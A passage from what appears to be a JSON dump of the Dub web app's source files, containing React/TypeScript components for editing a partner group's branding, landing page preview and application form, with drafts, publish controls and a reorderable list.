/>\n        <div className=\"text-xs font-medium text-blue-900\">\n          Required applicant fields\n        </div>\n      </div>\n    </div>\n  );\n};\n\nconst SignatureIcon = () => {\n  return (\n    <svg\n      width=\"19\"\n      height=\"18\"\n      viewBox=\"0 0 19 18\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className=\"size-[18px]\"\n    >\n      <path\n        d=\"M1.91669 12.25H16.4167\"\n        stroke=\"#1C398E\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M4.52169 7.0429C1.69369 5.7849 2.25069 2.1759 5.17069 2.5229C7.63369 2.8159 9.25269 8.4679 8.85069 12.8949C8.76769 13.8079 8.44369 15.2569 7.15969 15.4679C6.19969 15.6259 5.18069 15.1919 4.74169 14.2749C3.15069 10.7779 8.79869 5.0129 10.9077 6.1169C12.0397 6.7099 11.3267 8.6909 12.2147 8.8859C12.8597 9.0279 13.3307 7.7589 13.9237 7.9089C14.4737 8.0479 14.3727 8.9159 14.9627 9.0819C15.2257 9.1559 15.4977 9.1289 15.6667 8.9569\"\n        stroke=\"#1C398E\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n};\n\nconst EmailIcon = () => {\n  return (\n    <svg\n      width=\"19\"\n      height=\"18\"\n      viewBox=\"0 0 19 18\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className=\"size-[18px]\"\n    >\n      <path\n        d=\"M2.25 5.75L9.017 9.483C9.318 9.649 9.682 9.649 9.983 9.483L16.75 5.75\"\n        stroke=\"#1C398E\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M4.25 14.75L14.75 14.75C15.8546 14.75 16.75 13.8546 16.75 12.75V5.25C16.75 4.14543 15.8546 3.25 14.75 3.25L4.25 3.25C3.14543 3.25 2.25 4.14543 2.25 5.25L2.25 12.75C2.25 13.8546 3.14543 14.75 4.25 14.75Z\"\n        stroke=\"#1C398E\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n};\n\nconst CountryIcon = () => {\n  return (\n    <svg\n      width=\"19\"\n      height=\"18\"\n      viewBox=\"0 0 19 18\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className=\"size-[18px]\"\n    >\n      <g clipPath=\"url(#clip0_2001_4832)\">\n        <path\n          d=\"M13.8342 2.98072L12.3227 2.90943C11.3282 2.86253 10.5689 3.78613 10.8071 4.75273L11.0791 5.85623C11.1385 6.09733 11.042 6.34993 10.837 6.48993C10.6714 6.60303 10.46 6.62513 10.2746 6.54873L9.34748 6.16663C8.62258 5.86783 7.79498 5.96233 7.15608 6.41693C6.59028 6.81943 6.23868 7.45783 6.20088 8.15113L6.12988 9.45323\"\n          stroke=\"#1C398E\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M14.8334 16.75C14.8334 16.75 12.0834 15.241 12.0834 13C12.0834 11.481 13.3144 10.25 14.8334 10.25C16.3524 10.25 17.5834 11.481 17.5834 13C17.5834 15.241 14.8334 16.75 14.8334 16.75Z\"\n          stroke=\"#1C398E\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M14.8334 13.75C15.2474 13.75 15.5834 13.4142 15.5834 13C15.5834 12.5858 15.2474 12.25 14.8334 12.25C14.4194 12.25 14.0834 12.5858 14.0834 13C14.0834 13.4142 14.4194 13.75 14.8334 13.75Z\"\n          fill=\"#1C398E\"\n        />\n        <path\n          d=\"M3.42505 5.74561C3.85365 6.86961 4.80365 8.68821 6.32995 9.68311C6.75585 9.91771 7.73366 10.681 7.66566 11.8893C7.57246 13.5436 8.57834 13.6635 9.37714 14.2579C9.78724 14.563 9.89175 15.5008 9.83175 16.2409\"\n          stroke=\"#1C398E\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M6.58759 9.84737C7.51069 9.65277 8.60939 9.32137 9.85959 10.0263\"\n          stroke=\"#1C398E\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M9.83337 16.25C5.82927 16.25 2.58337 13.0041 2.58337 9C2.58337 4.9959 5.82927 1.75 9.83337 1.75C13.3602 1.75 16.2987 4.2682 16.9492 7.6046\"\n          stroke=\"#1C398E\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_2001_4832\">\n          <rect\n            width=\"18\"\n            height=\"18\"\n            fill=\"white\"\n            transform=\"translate(0.833374)\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n};\n\nexport default RequiredFieldsPreview;\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/branding-context-provider.tsx",
    "content": "\"use client\";\n\nimport { GroupWithProgramProps } from \"@/lib/types\";\nimport {\n  createContext,\n  Dispatch,\n  PropsWithChildren,\n  SetStateAction,\n  useContext,\n  useState,\n} from \"react\";\nimport { KeyedMutator } from \"swr\";\n\ntype BrandingContextProviderProps = {\n  group: GroupWithProgramProps;\n  mutateGroup: KeyedMutator<GroupWithProgramProps>;\n};\n\nexport const BrandingContext = createContext<\n  | ({\n      isGeneratingLander: boolean;\n      setIsGeneratingLander: Dispatch<SetStateAction<boolean>>;\n      isGenerateBannerHidden: boolean;\n      setIsGenerateBannerHidden: Dispatch<SetStateAction<boolean>>;\n    } & BrandingContextProviderProps)\n  | null\n>(null);\n\nexport const useBrandingContext = () => {\n  const context = useContext(BrandingContext);\n  if (!context)\n    throw new Error(\n      \"useBrandingContext must be used within a BrandingContextProvider\",\n    );\n  return context;\n};\n\nexport function BrandingContextProvider({\n  children,\n  ...rest\n}: PropsWithChildren<BrandingContextProviderProps>) {\n  const [isGeneratingLander, setIsGeneratingLander] = useState(false);\n  const [isGenerateBannerHidden, setIsGenerateBannerHidden] = useState(false);\n\n  return (\n    <BrandingContext.Provider\n      value={{\n        isGeneratingLander,\n        setIsGeneratingLander,\n        isGenerateBannerHidden,\n        setIsGenerateBannerHidden,\n        ...rest,\n      }}\n    >\n      {children}\n    </BrandingContext.Provider>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/branding-form.tsx",
    "content": "\"use client\";\n\nimport { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { updateGroupBrandingAction } from \"@/lib/actions/partners/update-group-branding\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  GroupWithProgramProps,\n  PartnerGroupProps,\n  ProgramApplicationFormData,\n  ProgramLanderData,\n  ProgramProps,\n} from \"@/lib/types\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport {\n  Brush,\n  Button,\n  MenuItem,\n  Popover,\n  ToggleGroup,\n  useLocalStorage,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronDown } from \"lucide-react\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport { FormProvider, useForm, useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { v4 as uuid } from \"uuid\";\nimport {\n  BrandingContextProvider,\n  useBrandingContext,\n} from \"./branding-context-provider\";\nimport { BrandingSettingsForm } from \"./branding-settings-form\";\nimport { ApplicationPreview } from \"./previews/application-preview\";\nimport { LanderPreview } from \"./previews/lander-preview\";\n\nexport type BrandingFormData = {\n  applicationFormData: ProgramApplicationFormData;\n  landerData: ProgramLanderData;\n} & Pick<PartnerGroupProps, \"logo\" | \"wordmark\" | \"brandColor\">;\n\nexport function useBrandingFormContext() {\n  return useFormContext<BrandingFormData>();\n}\n\ntype DraftData = BrandingFormData & { draftSavedAt: string | null };\n\nexport function BrandingForm() {\n  const { group, mutateGroup, loading } = useGroup<GroupWithProgramProps>(\n    {\n      query: { includeExpandedFields: true },\n    },\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const [draft, setDraft] = useLocalStorage<DraftData | null>(\n    `branding-form-${group?.id}`,\n    null,\n  );\n\n  if (loading) {\n    return <LayoutLoader />;\n  }\n\n  if (!group) {\n    return (\n      <div className=\"text-content-muted text-sm\">Failed to load program</div>\n    );\n  }\n\n  return (\n    <BrandingContextProvider group={group} mutateGroup={mutateGroup}>\n      <BrandingFormInner draft={draft} setDraft={setDraft} />\n    </BrandingContextProvider>\n  );\n}\n\nconst PREVIEW_TABS = [\n  {\n    value: \"landing\",\n    label: \"Landing page\",\n    component: LanderPreview,\n  },\n  {\n    value: \"application\",\n    label: \"Application form\",\n    component: ApplicationPreview,\n  },\n  // {\n  //   value: \"portal\",\n  //   label: \"Partner portal\",\n  //   component: PortalPreview,\n  // },\n  // {\n  //   value: \"embed\",\n  //   label: \"Referral embed\",\n  //   component: EmbedPreview,\n  // },\n];\n\nconst defaultApplicationFormData = (\n  program: ProgramProps,\n): ProgramApplicationFormData => {\n  return {\n    fields: [\n      {\n        id: uuid(),\n        type: \"short-text\",\n        label: \"Website / Social media channel\",\n        required: true,\n        data: {\n          placeholder: \"https://example.com\",\n        },\n      },\n      {\n        id: uuid(),\n        type: \"long-text\",\n        label: `How do you plan to promote ${program?.name ?? \"us\"}?`,\n        required: true,\n        data: {\n          placeholder: \"\",\n        },\n      },\n      {\n        id: uuid(),\n        type: \"long-text\",\n        label: \"Any additional questions or comments?\",\n        required: false,\n        data: {\n          placeholder: \"\",\n        },\n      },\n    ],\n  };\n};\n\nconst dateIsAfter = (\n  dateOrDateString: Date | string,\n  compareToDateOrDateString: Date | string,\n) => {\n  const date =\n    typeof dateOrDateString === \"string\"\n      ? new Date(dateOrDateString)\n      : dateOrDateString;\n  const compareToDate =\n    typeof compareToDateOrDateString === \"string\"\n      ? new Date(compareToDateOrDateString)\n      : compareToDateOrDateString;\n\n  return date.getTime() > compareToDate.getTime();\n};\n\nfunction BrandingFormInner({\n  draft,\n  setDraft,\n}: {\n  draft: DraftData | null;\n  setDraft: (draft: DraftData | null) => void;\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const { searchParams, queryParams } = useRouterStuff();\n  const previewTab =\n    PREVIEW_TABS.find(({ value }) => searchParams.get(\"tab\") === value) ||\n    PREVIEW_TABS[0];\n\n  const { group, mutateGroup } = useBrandingContext();\n\n  const [isSidePanelOpen, setIsSidePanelOpen] = useState(true);\n\n  const form = useForm<BrandingFormData>({\n    defaultValues: {\n      logo: group.logo ?? draft?.logo ?? null,\n      wordmark: group.wordmark ?? draft?.wordmark ?? null,\n      brandColor: group.brandColor ?? draft?.brandColor ?? null,\n      applicationFormData:\n        group.applicationFormData ?? defaultApplicationFormData(group.program),\n      landerData: group.landerData ?? { blocks: [] },\n    },\n  });\n\n  const {\n    handleSubmit,\n    reset,\n    setError,\n    formState: { isDirty, isSubmitting, isSubmitSuccessful },\n    getValues,\n    setValue,\n  } = form;\n\n  useEffect(() => {\n    if (draft) {\n      if (\n        !group.landerPublishedAt ||\n        (draft.draftSavedAt &&\n          dateIsAfter(draft.draftSavedAt, group.landerPublishedAt))\n      ) {\n        setValue(\"applicationFormData\", draft.applicationFormData, {\n          shouldDirty: true,\n        });\n        setValue(\"landerData\", draft.landerData, { shouldDirty: true });\n      }\n    }\n  }, [draft]);\n\n  const { executeAsync, isPending } = useAction(updateGroupBrandingAction, {\n    async onSuccess({ data }) {\n      await mutateGroup();\n      toast.success(\"Group updated successfully.\");\n\n      const currentValues = getValues();\n\n      // Still reset form state to clear isSubmitSuccessful\n      reset({\n        ...currentValues,\n        applicationFormData:\n          data?.applicationFormData ?? currentValues.applicationFormData,\n        landerData: data?.landerData ?? currentValues.landerData,\n      });\n    },\n    onError({ error }) {\n      const message = parseActionError(\n        error,\n        \"Failed to update application form.\",\n      );\n      toast.error(message);\n    },\n  });\n\n  const {\n    confirmModal: unpublishModal,\n    setShowConfirmModal: setShowUnpublishModal,\n  } = useConfirmModal({\n    title: \"Unpublish pages\",\n    description:\n      \"Are you sure you want to unpublish the landing page and application form? They will no longer be publicly accessible.\",\n    confirmText: \"Unpublish\",\n    onConfirm: async () => {\n      await executeAsync({\n        workspaceId: workspaceId!,\n        groupId: group.id,\n        logo: group.logo,\n        wordmark: group.wordmark,\n        brandColor: group.brandColor,\n        applicationFormData: group.applicationFormData,\n        landerData: group.landerData,\n        unpublish: true,\n      });\n    },\n  });\n\n  // Unsaved changes warning\n  useEffect(() => {\n    if (!isDirty) return;\n\n    const beforeUnload = (e: BeforeUnloadEvent) => e.preventDefault();\n    window.addEventListener(\"beforeunload\", beforeUnload);\n    return () => window.removeEventListener(\"beforeunload\", beforeUnload);\n  }, [isDirty]);\n\n  const [isTabPopoverOpen, setIsTabPopoverOpen] = useState(false);\n\n  const { isGeneratingLander } = useBrandingContext();\n\n  const publishButtonActive = useMemo(() => {\n    // the lander is being generated with AI, disable publishing\n    if (isGeneratingLander) return false;\n\n    // if the lander is not published, allow publishing\n    if (!group.landerPublishedAt) return true;\n\n    // if the lander is published, allow publishing if there are changes\n    return isDirty;\n  }, [isGeneratingLander, group.landerPublishedAt, isDirty]);\n  return (\n    <form\n      onSubmit={handleSubmit(async (data) => {\n        const result = await executeAsync({\n          workspaceId: workspaceId!,\n          groupId: group.id,\n          ...data,\n        });\n\n        if (!result?.data?.success) {\n          return;\n        }\n\n        setDraft(null);\n      })}\n      className=\"overflow-hidden rounded-lg border border-neutral-200 bg-neutral-100\"\n    >\n      <FormProvider {...form}>\n        <div className=\"@container flex items-center justify-between gap-2 border-b border-neutral-200 bg-white px-5 py-3\">\n          <div className=\"grow basis-0\">\n            <Button\n              type=\"button\"\n              onClick={() => setIsSidePanelOpen(!isSidePanelOpen)}\n              data-state={isSidePanelOpen ? \"open\" : \"closed\"}\n              variant=\"secondary\"\n              icon={<Brush className=\"size-4\" />}\n              className=\"size-8 p-0\"\n            />\n          </div>\n          <div className=\"\">\n            <div className=\"@[480px]:block hidden\">\n              <ToggleGroup\n                className=\"rounded-lg bg-neutral-50 p-0.5\"\n                indicatorClassName=\"rounded-md bg-white\"\n                optionClassName=\"py-1 normal-case\"\n                options={PREVIEW_TABS}\n                selected={previewTab.value}\n                selectAction={(value) => {\n                  queryParams({ set: { tab: value } });\n                }}\n              />\n            </div>\n            <div className=\"@[480px]:hidden\">\n              <Popover\n                openPopover={isTabPopoverOpen}\n                setOpenPopover={setIsTabPopoverOpen}\n                content={\n                  <div className=\"grid p-1 max-sm:w-full sm:min-w-48\">\n                    {PREVIEW_TABS.map((tab) => (\n                      <MenuItem\n                        key={tab.value}\n                        onClick={() => {\n                          queryParams({ set: { tab: tab.value } });\n                          setIsTabPopoverOpen(false);\n                        }}\n                      >\n                        {tab.label}\n                      </MenuItem>\n                    ))}\n                  </div>\n                }\n              >\n                <Button\n                  variant=\"secondary\"\n                  className=\"group h-8 px-2\"\n                  text={\n                    <div className=\"flex items-center gap-1\">\n                      {previewTab.label}\n                      <ChevronDown className=\"size-4 shrink-0 text-neutral-400 transition-transform duration-75 group-data-[state=open]:rotate-180\" />\n                    </div>\n                  }\n                />\n              </Popover>\n            </div>\n          </div>\n          <div className=\"flex grow basis-0 items-center justify-end gap-4\">\n            <Drafts draft={draft} setDraft={setDraft} />\n            {unpublishModal}\n            <PublishMenu\n              isPending={isPending || isSubmitting || isSubmitSuccessful}\n              publishButtonActive={publishButtonActive}\n              onUnpublish={() => setShowUnpublishModal(true)}\n              isPublished={!!group.landerPublishedAt}\n            />\n          </div>\n        </div>\n        <div\n          className={cn(\n            \"grid grid-cols-1 transition-[grid-template-columns,grid-template-rows] lg:h-[calc(100vh-186px)]\",\n            isSidePanelOpen\n              ? \"max-lg:grid-rows-[453px_minmax(0,1fr)] lg:grid-cols-[240px_minmax(0,1fr)]\"\n              : \"max-lg:grid-rows-[0px_minmax(0,1fr)] lg:grid-cols-[0px_minmax(0,1fr)]\",\n          )}\n        >\n          <div className=\"h-full overflow-hidden\">\n            <div\n              className={cn(\n                \"scrollbar-hide h-full overflow-y-auto border-neutral-200 p-5 transition-opacity max-lg:border-b lg:w-[240px] lg:border-r\",\n                !isSidePanelOpen && \"opacity-0\",\n              )}\n            >\n              <BrandingSettingsForm />\n            </div>\n          </div>\n          <div className=\"relative h-full overflow-hidden px-2 pt-2 sm:px-4 sm:pt-4\">\n            <AnimatePresence mode=\"wait\" initial={false}>\n              <motion.div\n                key={previewTab.value}\n                initial={{ opacity: 0, y: 10 }}\n                animate={{ opacity: 1, y: 0 }}\n                exit={{ opacity: 0, y: 10 }}\n                transition={{ duration: 0.1, ease: \"easeInOut\" }}\n                className=\"h-full\"\n              >\n                <previewTab.component group={group} />\n              </motion.div>\n            </AnimatePresence>\n          </div>\n        </div>\n      </FormProvider>\n    </form>\n  );\n}\n\nfunction Drafts({\n  draft,\n  setDraft,\n}: {\n  draft: DraftData | null;\n  setDraft: (draft: DraftData | null) => void;\n}) {\n  const {\n    setValue,\n    getValues,\n    formState: { isDirty },\n  } = useBrandingFormContext();\n\n  // Load draft\n  useEffect(() => {\n    if (!draft) return;\n\n    // Update form values to draft\n    // setTimeout: https://github.com/orgs/react-hook-form/discussions/9913#discussioncomment-4936301\n    setTimeout(() =>\n      (\n        [\n          \"logo\",\n          \"wordmark\",\n          \"brandColor\",\n          \"applicationFormData\",\n          \"landerData\",\n        ] as const\n      ).forEach((key) => {\n        setValue(key, draft[key], {\n          shouldDirty: true,\n        });\n      }),\n    );\n  }, []);\n\n  // Save draft\n  useEffect(() => {\n    if (!isDirty) return;\n\n    // TODO: Use `subscribe` from a future version of `react-hook-form`\n    const interval = setInterval(() => {\n      const values = getValues();\n      setDraft({\n        ...values,\n        draftSavedAt: new Date().toISOString(),\n      });\n    }, 1_000);\n\n    return () => clearInterval(interval);\n  }, [isDirty]);\n\n  return isDirty ? (\n    <span className=\"text-content-muted text-sm\">Unsaved draft</span>\n  ) : null;\n}\n\nfunction PublishMenu({\n  isPending,\n  publishButtonActive,\n  onUnpublish,\n  isPublished,\n}: {\n  isPending: boolean;\n  publishButtonActive: boolean;\n  onUnpublish: () => void;\n  isPublished: boolean;\n}) {\n  const [openPopover, setOpenPopover] = useState(false);\n\n  if (!isPublished) {\n    return (\n      <Button\n        type=\"submit\"\n        variant=\"primary\"\n        text=\"Publish\"\n        loading={isPending}\n        disabled={!publishButtonActive}\n        className=\"h-8 w-fit px-3\"\n      />\n    );\n  }\n\n  return (\n    <div className=\"flex items-center gap-2\">\n      <Button\n        type=\"submit\"\n        variant=\"primary\"\n        text=\"Publish\"\n        loading={isPending}\n        disabled={!publishButtonActive}\n        className=\"h-8 w-fit px-3\"\n      />\n      <Popover\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n        content={\n          <div className=\"grid w-screen gap-px p-2 sm:w-48\">\n            <MenuItem\n              onClick={() => {\n                setOpenPopover(false);\n                onUnpublish();\n              }}\n            >\n              Unpublish\n            </MenuItem>\n          </div>\n        }\n        align=\"end\"\n      >\n        <Button\n          variant=\"secondary\"\n          className=\"h-8 px-1.5\"\n          icon={<ThreeDots className=\"h-5 w-5 shrink-0\" />}\n          onClick={() => setOpenPopover(!openPopover)}\n        />\n      </Popover>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/branding-settings-form.tsx",
    "content": "\"use client\";\n\nimport { updateGroupBrandingAction } from \"@/lib/actions/partners/update-group-branding\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramColorPicker } from \"@/ui/partners/program-color-picker\";\nimport { Button, FileUpload, InfoTooltip } from \"@dub/ui\";\nimport { Plus } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils/src\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { ReactNode, useCallback, useId, useState } from \"react\";\nimport { Controller, useFormState } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { useBrandingContext } from \"./branding-context-provider\";\nimport { useBrandingFormContext } from \"./branding-form\";\n\nconst FIELDS = [\"logo\", \"wordmark\", \"brandColor\"] as const;\n\nexport function BrandingSettingsForm() {\n  const { id: workspaceId } = useWorkspace();\n\n  const { group, mutateGroup } = useBrandingContext();\n  const { control, getValues, resetField } = useBrandingFormContext();\n  const { dirtyFields } = useFormState({ control });\n\n  const isDirty = FIELDS.some((field) => dirtyFields[field]);\n\n  const [isLoading, setIsLoading] = useState(false);\n\n  const { executeAsync } = useAction(updateGroupBrandingAction, {\n    async onSuccess() {\n      toast.success(\"Brand elements updated successfully.\");\n\n      FIELDS.forEach((field) =>\n        resetField(field, { keepDirty: false, defaultValue: getValues(field) }),\n      );\n\n      await mutateGroup();\n      setIsLoading(false);\n    },\n    onError({ error }) {\n      const message = error.serverError || \"Failed to update brand elements.\";\n      toast.error(message);\n      setIsLoading(false);\n    },\n  });\n\n  const handleSave = useCallback(() => {\n    if (!workspaceId) return;\n\n    setIsLoading(true);\n    executeAsync({\n      workspaceId,\n      groupId: group.id,\n      ...Object.fromEntries(FIELDS.map((field) => [field, getValues(field)])),\n    });\n  }, [getValues, group.id, workspaceId]);\n\n  return (\n    <div>\n      <div className=\"grid grid-cols-1 gap-10\">\n        <div className=\"flex flex-col gap-6\">\n          <FormRow\n            label=\"Brand elements\"\n            description={\n              <>\n                Set the style and content for this partner group.{\" \"}\n                <a\n                  className=\"cursor-help font-semibold underline decoration-dotted underline-offset-2\"\n                  href=\"https://dub.co/help/article/program-landing-page\"\n                  target=\"_blank\"\n                  rel=\"noopener noreferrer\"\n                >\n                  Learn more\n                </a>\n                .\n              </>\n            }\n          ></FormRow>\n\n          <Divider />\n\n          <FormRow\n            label=\"Logo\"\n            tooltip=\"A square 1:1 logo used in various parts of the partner portal.\"\n            required\n          >\n            {(id) => (\n              <Controller\n                control={control}\n                name=\"logo\"\n                render={({ field }) => (\n                  <FileUpload\n                    id={id}\n                    accept=\"images\"\n                    className=\"h-20 rounded-lg border border-neutral-300 p-1\"\n                    iconClassName=\"size-4 text-neutral-800\"\n                    previewClassName=\"object-contain\"\n                    icon={Plus}\n                    variant=\"plain\"\n                    imageSrc={field.value}\n                    readFile\n                    onChange={({ src }) => field.onChange(src)}\n                    content={null}\n                    maxFileSizeMB={2}\n                  />\n                )}\n              />\n            )}\n          </FormRow>\n\n          <FormRow\n            label=\"Wordmark\"\n            tooltip=\"Optional full-sized wordmark used in the navigation menu bar.\"\n          >\n            {(id) => (\n              <Controller\n                control={control}\n                name=\"wordmark\"\n                rules={{ required: false }}\n                render={({ field }) => (\n                  <FileUpload\n                    id={id}\n                    accept=\"images\"\n                    className=\"h-20 rounded-lg border border-neutral-300 p-1\"\n                    iconClassName=\"size-4 text-neutral-800\"\n                    previewClassName=\"object-contain\"\n                    icon={Plus}\n                    variant=\"plain\"\n                    imageSrc={field.value}\n                    readFile\n                    onChange={({ src }) => field.onChange(src)}\n                    content={null}\n                    maxFileSizeMB={2}\n                  />\n                )}\n              />\n            )}\n          </FormRow>\n\n          <Divider />\n\n          <FormRow label=\"Brand color\" inline>\n            {(id) => (\n              <Controller\n                control={control}\n                name=\"brandColor\"\n                render={({ field }) => (\n                  <ProgramColorPicker\n                    color={field.value}\n                    onChange={field.onChange}\n                    id={id}\n                  />\n                )}\n              />\n            )}\n          </FormRow>\n\n          <Button\n            type=\"button\"\n            text=\"Save\"\n            className=\"h-8 rounded-lg\"\n            disabled={!isDirty}\n            loading={isLoading}\n            onClick={handleSave}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nconst Divider = () => <hr className=\"border-neutral-300\" />;\n\nfunction FormRow({\n  label,\n  description,\n  inline = false,\n  required,\n  tooltip,\n  children,\n}: {\n  label: string;\n  description?: string | ReactNode;\n  inline?: boolean;\n  children?: (id: string) => ReactNode;\n  required?: boolean;\n  tooltip?: string;\n}) {\n  const id = useId();\n\n  return (\n    <div\n      className={cn(\n        \"flex flex-col justify-between gap-5\",\n        inline && \"flex-row items-center\",\n      )}\n    >\n      <div className=\"flex flex-col gap-1\">\n        <div className=\"flex items-center gap-1\">\n          <label className=\"text-sm font-medium text-neutral-800\" htmlFor={id}>\n            {label}\n\n            {required && (\n              <span className=\"text-sm font-medium text-neutral-500\">\n                {\" \"}\n                (required)\n              </span>\n            )}\n          </label>\n\n          {tooltip && <InfoTooltip content={tooltip} />}\n        </div>\n\n        {description && (\n          <p className=\"text-xs text-neutral-500\">{description}</p>\n        )}\n      </div>\n\n      {children?.(id)}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/edit-list.tsx",
    "content": "\"use client\";\n\nimport { Button, GripDotsVertical, Plus2, Trash } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport {\n  AnimatePresence,\n  motion,\n  Reorder,\n  useDragControls,\n} from \"motion/react\";\nimport {\n  createContext,\n  Dispatch,\n  ReactNode,\n  SetStateAction,\n  useContext,\n  useState,\n} from \"react\";\n\nconst EditListContext = createContext<{\n  expandedValue: string | null;\n  setExpandedValue: Dispatch<SetStateAction<string | null>>;\n}>({\n  expandedValue: null,\n  setExpandedValue: () => {},\n});\n\nexport function EditList({\n  values,\n  onReorder,\n  onAdd,\n  addButtonLabel = \"Add item\",\n  className,\n  children,\n}: {\n  values: string[];\n  onReorder: (newValues: string[]) => void;\n  onAdd: () => string | void;\n  addButtonLabel?: string;\n  className?: string;\n  children: ReactNode;\n}) {\n  const [expandedValue, setExpandedValue] = useState<string | null>(\n    values.length === 1 ? values[0] : null,\n  );\n\n  return (\n    <div className={cn(\"flex flex-col gap-2\", className)}>\n      <Reorder.Group\n        axis=\"y\"\n        values={values}\n        onReorder={onReorder}\n        layoutScroll\n        className=\"flex flex-col gap-2\"\n      >\n        <EditListContext.Provider value={{ expandedValue, setExpandedValue }}>\n          <AnimatePresence initial={false}>{children}</AnimatePresence>\n        </EditListContext.Provider>\n      </Reorder.Group>\n      <Button\n        onClick={() => {\n          const result = onAdd();\n          if (result) setExpandedValue(result);\n        }}\n        variant=\"secondary\"\n        icon={<Plus2 className=\"size-4\" />}\n        text={addButtonLabel}\n      />\n    </div>\n  );\n}\n\nexport function EditListItem({\n  value,\n  title,\n  onRemove,\n  error,\n  className,\n}: {\n  value: string;\n  title: ReactNode;\n  error?: boolean;\n  onRemove?: () => void;\n  className?: string;\n}) {\n  const controls = useDragControls();\n\n  return (\n    <Reorder.Item\n      key={value}\n      value={value}\n      dragListener={false}\n      dragControls={controls}\n      className={cn(\n        \"relative overflow-hidden rounded-md border border-neutral-200 bg-neutral-50\",\n        className,\n        error && \"border-red-500\",\n      )}\n      initial={{ opacity: 0, height: 0 }}\n      animate={{ opacity: 1, height: \"auto\" }}\n      exit={{ opacity: 0, height: 0 }}\n      transition={{ duration: 0.15 }}\n    >\n      <div className=\"relative\">\n        <div\n          onPointerDown={(e) => controls.start(e)}\n          className=\"absolute inset-y-0 left-0 flex cursor-grab items-center px-2\"\n          data-handle\n        >\n          <GripDotsVertical className=\"size-4 text-neutral-800\" />\n        </div>\n\n        <div className=\"px-6\">{title}</div>\n\n        {onRemove && (\n          <button\n            type=\"button\"\n            className=\"absolute inset-y-0 right-0 px-2.5 text-neutral-400 transition-colors hover:bg-neutral-100 hover:text-neutral-600\"\n            onClick={onRemove}\n            title=\"Remove item\"\n          >\n            <Trash className=\"size-3.5\" />\n          </button>\n        )}\n      </div>\n    </Reorder.Item>\n  );\n}\n\nexport function ExpandableEditListItem({\n  value,\n  title,\n  children,\n  onRemove,\n}: {\n  value: string;\n  title: ReactNode;\n  children: ReactNode;\n  onRemove?: () => void;\n}) {\n  const { expandedValue, setExpandedValue } = useContext(EditListContext);\n  const controls = useDragControls();\n\n  return (\n    <Reorder.Item\n      key={value}\n      value={value}\n      dragListener={false}\n      dragControls={controls}\n      className=\"relative overflow-hidden rounded-md border border-neutral-200 bg-neutral-50\"\n      initial={{ opacity: 0, height: 0 }}\n      animate={{ opacity: 1, height: \"auto\" }}\n      exit={{ opacity: 0, height: 0 }}\n      transition={{ duration: 0.15 }}\n    >\n      <div className=\"relative\">\n        <div\n          onPointerDown={(e) => controls.start(e)}\n          className=\"absolute inset-y-0 left-0 flex cursor-grab items-center px-2\"\n          data-handle\n        >\n          <GripDotsVertical className=\"size-4 text-neutral-800\" />\n        </div>\n        <button\n          type=\"button\"\n          onClick={() =>\n            setExpandedValue((ev) => (ev === value ? null : value))\n          }\n          className=\"flex w-full select-none items-center gap-2 px-2 py-2.5 transition-colors hover:bg-neutral-100\"\n        >\n          <div className=\"truncate px-6 text-sm font-semibold text-neutral-800\">\n            {title}\n          </div>\n        </button>\n        {onRemove && (\n          <button\n            type=\"button\"\n            className=\"absolute inset-y-0 right-0 px-2.5 text-neutral-400 transition-colors hover:bg-neutral-100 hover:text-neutral-600\"\n            onClick={onRemove}\n            title=\"Remove item\"\n          >\n            <Trash className=\"size-3.5\" />\n          </button>\n        )}\n      </div>\n      <motion.div\n        animate={{\n          height: expandedValue === value ? \"auto\" : 0,\n          overflow: \"hidden\",\n        }}\n        transition={{\n          duration: 0.15,\n        }}\n        initial={false}\n      >\n        <div className=\"border-t border-neutral-200 